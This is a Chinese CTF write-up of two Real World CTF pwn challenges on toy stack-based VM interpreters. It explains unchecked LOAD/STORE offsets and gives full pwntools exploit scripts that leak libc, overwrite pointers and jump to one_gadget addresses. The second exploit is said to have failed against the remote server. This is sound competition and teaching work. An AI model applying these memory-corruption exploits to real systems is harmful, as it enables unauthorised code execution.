跟北邮的师傅们一起打RW,大佬们是真滴猛or2
VM因为神奇的原因打不通远程,体验赛0输出混了个第二
正式赛
SVME
Score: 67
Clone-and-Pwn, Virtual Machine, difficulty:baby
Professor Terence Parr has taught us how to build a virtual machine. Now it’s time to break it!
nc 47.243.140.252 1337
下载附件有libc、二进制文件和Dockerfile
从Dockerfile中可以找到项目地址,用C实现的VM程序,获取用户输入并解析执行
一开始在vm_print_instr函数中找到一个越界读取,但是发现触发越界读取后由于无法识别指令会直接退出,无法利用
继续分析发现在获取LOAD、STORE指令获取locals变量时没有对offset进行任何检查,可以直接溢出
VM *vm结构体保存在堆上,其中Context结构体中有每个模拟栈帧的locals数组
typedef struct {
int *code;
int code_size;
// global variable space
int *globals;
int nglobals;
// Operand stack, grows upwards
int stack[DEFAULT_STACK_SIZE];
Context call_stack[DEFAULT_CALL_STACK_SIZE];
} VM;
则通过LOAD数组上溢可以读取到栈地址code,计算好偏移后再通过STORE数组上溢将globals指针修改为栈上的地址,此时再通过GLOAD读取时,globals已经是栈上的地址了,可以直接再栈上读取__libc_start_main函数的地址,计算one_gadget的地址后GSTORE覆盖返回地址
由于最后要将globals释放,在结束的时候还需要恢复一下globals的指针
exp:
from pwn import *
import time
#context(log_level='debug',arch='amd64')
local=1
binary_name='svme'
libc=ELF("libc.so.6")
e=ELF("./"+binary_name)
def exp():
if local:
p=process("./"+binary_name)
else:
p=remote('47.243.140.252', 1337)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
rc=lambda x:p.recv(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda : p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'\x00'))
one=[0xe6c7e,0xe6c81,0xe6c84]
pd=p32(16)+p32(6)+p32(0)+p32(0)
pd+=p32(14)
pd+=p32(18)
pd+=p32(10)+p32(0xFFFFFC14)
pd+=p32(10)+p32(0xFFFFFC15)
pd+=p32(10)+p32(0xFFFFFC11)
pd+=p32(10)+p32(0xFFFFFC10)
offset=0x218
pd+=p32(9)+p32(offset)
pd+=p32(1)
pd+=p32(12)+p32(0xFFFFFC14)
pd+=p32(12)+p32(0xFFFFFC15)
pd+=p32(11)+p32(0)
offset= one[2]- 0x026fc0-243
pd+=p32(9)+p32(offset)
pd+=p32(1)
pd+=p32(13)+p32(0)
pd+=p32(12)+p32(0xFFFFFC15)
pd+=p32(12)+p32(0xFFFFFC14)
pd+=p32(17)
sl(pd.ljust(0x200,b'\x00'))
ia()
exp()
体验赛
Be-a-VM-Escaper
Score: 401
Pwn
VM Escape is too hard? It’s not always the case.
Try this small, likely turing-incomplete stack-based language interpreter.
nc 101.132.235.138 1337
直接给出了项目地址,建立在栈基础上的VM
这题在LOAD和STORE到reg时,对arg1的处理多了一个check
#define CHECK_REG(x) \
if (x > REGNO) { \
fprintf(stderr, "INVALID REGISTER: ABORT\n"); \
exit(1); \
}
没有考虑arg1为负数的情况,可以向上溢出
数据结构都在栈上,栈上有很多地址,可以LOAD到libc地址、栈地址,但是栈由高地址向低地址生长,向上溢出无法覆盖任何返回地址完成利用
并且程序没有调用malloc、free之类的函数,无法覆盖hook完成利用
可以通过LOAD将libc地址、栈地址放到模拟的栈上,计算
- libc里_rtld_global结构体中的rtld_lock_default_lock_recursive指针与reg的偏移
- one_gadget的地址
但是想要把one_gadget写入rtld_lock_default_lock_recursive有一个问题是STORE的时候arg1是用户输入的,而计算出来的偏移存在模拟的栈上
需要了解一下这个程序的数据结构,VM是通过cinstr指针来模拟IP指针作为程序计数器,
for (struct instruction_s *cinstr = pinstrs; cinstr < pinstrs+plen; cinstr++) {
long long t = 0;
long long t2 = 0;
switch (cinstr->instr) {
case NOP:
break;
... ...
case DONE:
exit(0);
break;
}
}
instruction_s结构体如下
struct instruction_s {
enum impl_instr instr;
long long arg1;
long long arg2;
};
而观察栈的情况,会发现cinstr指针在reg的低地址,可以通过溢出覆写
所以可以在栈上先构造
4 instr(STORE)
offset arg1
0 arg2
26 instr(STORE)
0 arg1
0 arg2
再用LOAD覆写cinstr指针,使其指向构造好的STORE指令处,执行STORE指令覆写rtld_lock_default_lock_recursive,再执行DONE指令调用exit完成利用
(另外还可以利用滑雪橇的思想,在前面填充0(NOP),cinstr指针不用很精确)
exp:
from pwn import *
import time
context(log_level='debug',arch='amd64')
local=1
binary_name='lvm'
libc=ELF("libc.so.6")
e=ELF("./"+binary_name)
def exp():
if local:
p=process("./"+binary_name)
else:
p=remote('101.132.235.138', 1337)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
rc=lambda x:p.recv(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda : p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'\x00'))
one=[0xe6c7e,0xe6c81,0xe6c84,0xe6e73,0xe6e76]
sl(str(28))
time.sleep(1)
pd=''
sd('5\n')
time.sleep(1)
sd('-'+str(0x118//8)+'\n')
time.sleep(1)
sd('1\n')
time.sleep(1)
sd(str(0x662e2)+'\n')
time.sleep(1)
sd('7\n')
time.sleep(1)
sd('22\n')
time.sleep(1)
sd('4\n')
time.sleep(1)
sd('1\n')
time.sleep(1)
sd('1\n')
time.sleep(1)
sd(str(0x222f68)+'\n')
time.sleep(1)
sd('6\n')
time.sleep(1)
sd('22\n')
time.sleep(1)
sd('5\n')
time.sleep(1)
sd('-3\n')
time.sleep(1)
sd('1\n')
time.sleep(1)
sd(str(0x13900+0x60+0x60)+'\n')
time.sleep(1)
sd('7\n')
time.sleep(1)
sd('4\n')
time.sleep(1)
sd('0\n')
time.sleep(1)
sd('22\n')
time.sleep(1)
sd('7\n')
time.sleep(1)
sd('1\n')
time.sleep(1)
sd(str(8)+'\n')
time.sleep(1)
sd('9\n')
time.sleep(1)
sd('4\n')
time.sleep(1)
sd(str(2)+'\n')
time.sleep(1)
sd('1\n')
time.sleep(1)
sd(str(4)+'\n')
time.sleep(1)
sd('5\n')
time.sleep(1)
sd(str(2)+'\n')
time.sleep(1)
sd('22\n')
time.sleep(1)
sd('1\n')
time.sleep(1)
sd('0\n')
time.sleep(1)
sd('1\n')
time.sleep(1)
sd('26\n')
time.sleep(1)
sd('1\n')
time.sleep(1)
sd('0\n')
time.sleep(1)
sd('1\n')
time.sleep(1)
sd('0\n')
time.sleep(1)
sd('5\n')
time.sleep(1)
sd('1\n')
time.sleep(1)
sd('1\n')
time.sleep(1)
sd(str(one[0])+'\n')
time.sleep(1)
sd('6\n')
time.sleep(1)
sd('17\n')
time.sleep(1)
sd('-'+str(0xd07)+'\n')
time.sleep(1)
ia()
exp()
然而在比赛的时候本地、本地拉取最新的ubuntu 20.04 docker以及学长的本地都可以打通,远程还是段错误
赛后复现的时候发现本地 _rtld_global结构体的偏移需要改一下才能打通,或许远程打不通是因为 _rtld_global结构体的偏移?